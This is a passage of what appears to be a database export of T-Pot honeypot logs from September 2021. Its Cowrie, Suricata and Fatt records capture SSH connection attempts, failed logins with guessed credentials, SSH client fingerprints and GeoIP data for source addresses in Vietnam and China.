d5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	\N	\N
21808	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:06:29.15914+03	2021-09-20 14:15:04.130613+03	{"_id": "EgXiAnwBvYTbRNuEy__U", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.login.failed", "message": "login attempt [mike/password] failed", "session": "4463f8a835ce", "@version": "1", "password": "password", "username": "mike", "timestamp": "2021-09-20T11:06:29.159140Z", "@timestamp": "2021-09-20T11:06:29.159Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	\N	\N
21803	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:06:28.439724+03	2021-09-20 14:15:04.124613+03	{"_id": "-QXiAnwBvYTbRNuEx_7s", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "27.69.246.93", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 47246, "timestamp": "2021-09-20T11:06:28.439724", "@timestamp": "2021-09-20T11:06:28.439Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
21804	116.105.211.46	109.199.241.180	Cowrie	2021-09-20 14:06:29.084446+03	2021-09-20 14:15:04.126614+03	{"_id": "8wXiAnwBvYTbRNuEx_7p", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.105.211.46", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.105.211.46", "eventid": "cowrie.session.closed", "message": "Connection lost after 4 seconds", "session": "62c21894c061", "@version": "1", "duration": 4.20984959602356, "timestamp": "2021-09-20T11:06:29.084446Z", "@timestamp": "2021-09-20T11:06:29.084Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	\N
21805	116.98.160.162	109.199.241.180	Suricata	2021-09-20 14:06:29.746311+03	2021-09-20 14:15:04.127614+03	{"_id": "DgXiAnwBvYTbRNuEyv_o", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "116.98.160.162", "dest_ip": "192.168.20.116", "flow_id": 1784068936425438, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 53688, "dest_port": 22, "timestamp": "2021-09-20T11:06:29.746311Z", "@timestamp": "2021-09-20T11:06:29.746Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	\N
21806	27.69.246.93	109.199.241.180	Suricata	2021-09-20 14:06:29.393393+03	2021-09-20 14:15:04.128613+03	{"_id": "EAXiAnwBvYTbRNuEyv_o", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "27.69.246.93", "dest_ip": "192.168.20.116", "flow_id": 62336806473276, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 34438, "dest_port": 22, "timestamp": "2021-09-20T11:06:29.393393Z", "@timestamp": "2021-09-20T11:06:29.393Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	\N
21807	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:06:29.601015+03	2021-09-20 14:15:04.129613+03	{"_id": "EQXiAnwBvYTbRNuEy__U", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 27.69.246.93:39846 (192.168.176.2:22) [session: d86157a4cfc8]", "session": "d86157a4cfc8", "@version": "1", "protocol": "ssh", "src_port": 39846, "dest_port": 22, "timestamp": "2021-09-20T11:06:29.601015Z", "@timestamp": "2021-09-20T11:06:29.601Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	\N
21809	223.241.247.214	109.199.241.180	Cowrie	2021-09-20 14:06:29.324763+03	2021-09-20 14:15:04.132612+03	{"_id": "EwXiAnwBvYTbRNuEy__U", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 35, "type": "Cowrie", "geoip": {"ip": "223.241.247.214", "asn": 4134, "as_org": "Chinanet", "latitude": 31.8642, "location": {"lat": 31.8642, "lon": 117.2865}, "timezone": "Asia/Shanghai", "longitude": 117.2865, "region_code": "AH", "region_name": "Anhui", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "95df9ab820c0b94e87412330a566c7e47ceef0cfc297bbe2c51a198d1b017abe", "src_ip": "223.241.247.214", "ttylog": "log/tty/95df9ab820c0b94e87412330a566c7e47ceef0cfc297bbe2c51a198d1b017abe", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/95df9ab820c0b94e87412330a566c7e47ceef0cfc297bbe2c51a198d1b017abe after 0 seconds", "session": "93a2eacc7d8b", "@version": "1", "duration": 0.5688610076904297, "duplicate": true, "timestamp": "2021-09-20T11:06:29.324763Z", "@timestamp": "2021-09-20T11:06:29.324Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	\N
21810	116.110.220.49	109.199.241.180	Cowrie	2021-09-20 14:06:29.375135+03	2021-09-20 14:15:04.133612+03	{"_id": "FAXiAnwBvYTbRNuEy__U", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.110.220.49", "eventid": "cowrie.login.failed", "message": "login attempt [payroll/payroll] failed", "session": "a2a5b97bfe65", "@version": "1", "password": "payroll", "username": "payroll", "timestamp": "2021-09-20T11:06:29.375135Z", "@timestamp": "2021-09-20T11:06:29.375Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	\N	\N
21811	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:06:29.119042+03	2021-09-20 14:15:04.134613+03	{"_id": "HgXiAnwBvYTbRNuEy__W", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "27.69.246.93", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 34438, "timestamp": "2021-09-20T11:06:29.119042", "@timestamp": "2021-09-20T11:06:29.119Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
21812	27.69.246.93	109.199.241.180	Fatt	2021-09-20 14:06:29.393979+03	2021-09-20 14:15:04.135613+03	{"_id": "HwXiAnwBvYTbRNuEy__W", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "src_ip": "27.69.246.93", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": "SSH-2.0-AsyncSSH_2.1.0", "cmacts": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 34438, "dest_port": 22, "timestamp": "2021-09-20T11:06:29.393979", "@timestamp": "2021-09-20T11:06:29.393Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
21813	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:06:29.470489+03	2021-09-20 14:15:04.137614+03	{"_id": "IAXiAnwBvYTbRNuEy__W", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "116.98.160.162", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 53688, "timestamp": "2021-09-20T11:06:29.470489", "@timestamp": "2021-09-20T11:06:29.470Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
21818	27.69.246.93	109.199.241.180	Suricata	2021-09-20 14:06:30.669875+03	2021-09-20 14:15:04.143613+03	{"_id": "PgXiAnwBvYTbRNuEzv_Q", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "27.69.246.93", "dest_ip": "192.168.20.116", "flow_id": 1259247555228827, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 7381, "dest_port": 22, "timestamp": "2021-09-20T11:06:30.669875Z", "@timestamp": "2021-09-20T11:06:30.669Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	\N
21819	218.92.0.190	109.199.241.180	Cowrie	2021-09-20 14:06:30.129317+03	2021-09-20 14:15:04.144612+03	{"_id": "QAXiAnwBvYTbRNuEz_-5", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "218.92.0.190", "asn": 4134, "as_org": "Chinanet", "latitude": 32.0617, "location": {"lat": 32.0617, "lon": 118.7778}, "timezone": "Asia/Shanghai", "longitude": 118.7778, "region_code": "JS", "region_name": "Jiangsu", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "218.92.0.190", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 218.92.0.190:29573 (192.168.176.2:22) [session: eda904d05d15]", "session": "eda904d05d15", "@version": "1", "protocol": "ssh", "src_port": 29573, "dest_port": 22, "timestamp": "2021-09-20T11:06:30.129317Z", "@timestamp": "2021-09-20T11:06:30.129Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	\N
21820	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:06:30.134634+03	2021-09-20 14:15:04.146625+03	{"_id": "UAXiAnwBvYTbRNuEz_-5", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "218.92.0.190", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 29573, "timestamp": "2021-09-20T11:06:30.134634", "@timestamp": "2021-09-20T11:06:30.134Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
21821	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:06:30.392185+03	2021-09-20 14:15:04.147612+03	{"_id": "SAXiAnwBvYTbRNuEz_-5", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "c69d5bec2a1b", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:06:30.392185Z", "@timestamp": "2021-09-20T11:06:30.392Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	\N
21822	218.92.0.190	109.199.241.180	Fatt	2021-09-20 14:06:30.405063+03	2021-09-20 14:15:04.148613+03	{"_id": "QgXiAnwBvYTbRNuEz_-5", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "218.92.0.190", "asn": 4134, "as_org": "Chinanet", "latitude": 32.0617, "location": {"lat": 32.0617, "lon": 118.7778}, "timezone": "Asia/Shanghai", "longitude": 118.7778, "region_code": "JS", "region_name": "Jiangsu", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "src_ip": "218.92.0.190", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ecdsa-sha2-nistp256,ecdsa-sha2-nistp384,ecdsa-sha2-nistp521,ssh-rsa,ssh-dss", "hassh": "1616c6d18e845e7a01168a44591f7a35", "ccacts": "none", "ccastc": "none", "ceacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc", "ceastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc", "client": "SSH-2.0-PUTTY", "cmacts": "hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com", "cmastc": 